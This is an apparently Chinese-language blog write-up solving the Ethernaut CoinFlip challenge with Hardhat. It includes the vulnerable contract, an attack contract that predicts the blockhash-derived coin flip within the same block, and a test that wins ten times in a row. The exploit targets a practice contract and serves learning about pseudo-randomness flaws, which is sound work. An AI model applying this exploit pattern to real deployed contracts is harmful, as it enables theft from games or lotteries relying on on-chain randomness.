{"content":{"title":"用Hardhat闯关Ethernaut题3 -coinflip","body":"# CoinFlip合约\r\n## 任务是调用flip猜对10次结果\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\r\nimport \"hardhat/console.sol\";\r\n\r\ncontract CoinFlip {\r\n    using SafeMath for uint256;\r\n    uint256 public consecutiveWins;\r\n    uint256 lastHash;\r\n    uint256 FACTOR =\r\n        57896044618658097711785492504343953926634992332820282019728792003956564819968;\r\n\r\n    constructor() public {\r\n        consecutiveWins = 0;\r\n    }\r\n\r\n    function flip(bool _guess) public returns (bool) {\r\n        uint256 blockValue = uint256(blockhash(block.number.sub(1)));\r\n\r\n        if (lastHash == blockValue) {\r\n            revert();\r\n        }\r\n\r\n        lastHash = blockValue;\r\n        uint256 coinFlip = blockValue.div(FACTOR);\r\n        bool side = coinFlip == 1 ? true : false;\r\n\r\n        if (side == _guess) {\r\n            consecutiveWins++;\r\n            console.log(\"consecutiveWins: %s\", consecutiveWins);\r\n            return true;\r\n        } else {\r\n            consecutiveWins = 0;\r\n            return false;\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n这里  `uint256 coinFlip = blockValue.div(FACTOR);`原算结果50%是0，50%是1，`FACTOR`是常量，那么我们需要知道`blockValue`，也就是`block.number`，就能提前得到答案。\r\n\r\n解题思路：用攻击合约调用CoinFlip合约可以保证block.number相同（这笔交易会被打包在一个区块中），那么就能提前知道答案。\r\n\r\n## 攻击合约:\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.6.0;\r\n\r\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\r\nimport \"hardhat/console.sol\";\r\n\r\ninterface CoinFlipInteface {\r\n    function flip(bool _guess) external returns (bool);\r\n}\r\n\r\ncontract AttackCoinFlip {\r\n    CoinFlipInteface coinflip;\r\n    uint256 public consecutiveWins;\r\n    using SafeMath for uint256;\r\n    uint256 FACTOR =\r\n        57896044618658097711785492504343953926634992332820282019728792003956564819968;\r\n\r\n    constructor(address _coinFlipAddress) public {\r\n        coinflip = CoinFlipInteface(_coinFlipAddress);\r\n    }\r\n\r\n    function attack() public {\r\n        uint256 blockValue = uint256(blockhash(block.number.sub(1)));\r\n        uint256 coinFlip = uint256(uint256(blockValue).div(FACTOR));\r\n        bool side = coinFlip == 1 ? true : false;\r\n        bool r = coinflip.flip(side);\r\n        consecutiveWins++;\r\n        console.log(\"consecutiveWins: %s\", consecutiveWins);\r\n    }\r\n}\r\n\r\n```\r\n\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"test\", function () {\r\n    var CoinFlip;\r\n    var AttackCoinFlip;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const CoinFlipInstance = await ethers.getContractFactory(\"CoinFlip\");\r\n        CoinFlip = await CoinFlipInstance.deploy();\r\n        const AttackCoinFlipInstance = await ethers.getContractFactory(\"AttackCoinFlip\");\r\n        AttackCoinFlip = await AttackCoinFlipInstance.deploy(CoinFlip.address);\r\n    });\r\n    it(\"hack test\", async function () {\r\n        for (let index = 0; index < 10; index++) {\r\n            await AttackCoinFlip.attack();\r\n        }\r\n        const num = await CoinFlip.consecutiveWins();\r\n        expect(num).to.equal(10);\r\n    });\r\n});\r\n```\r\n\r\n## 运行结果：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/X4GTz3iH63199a0127539.png)\r\n\r\nTips：这种是典型的伪随机，使用合约去攻击就能保证`block.number`是相同的。\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmPDv6wLwobi6aNa6sVPBaGc4q8XKJNohbLj76e3vV35JQ","timestamp":1668567325,"version":1}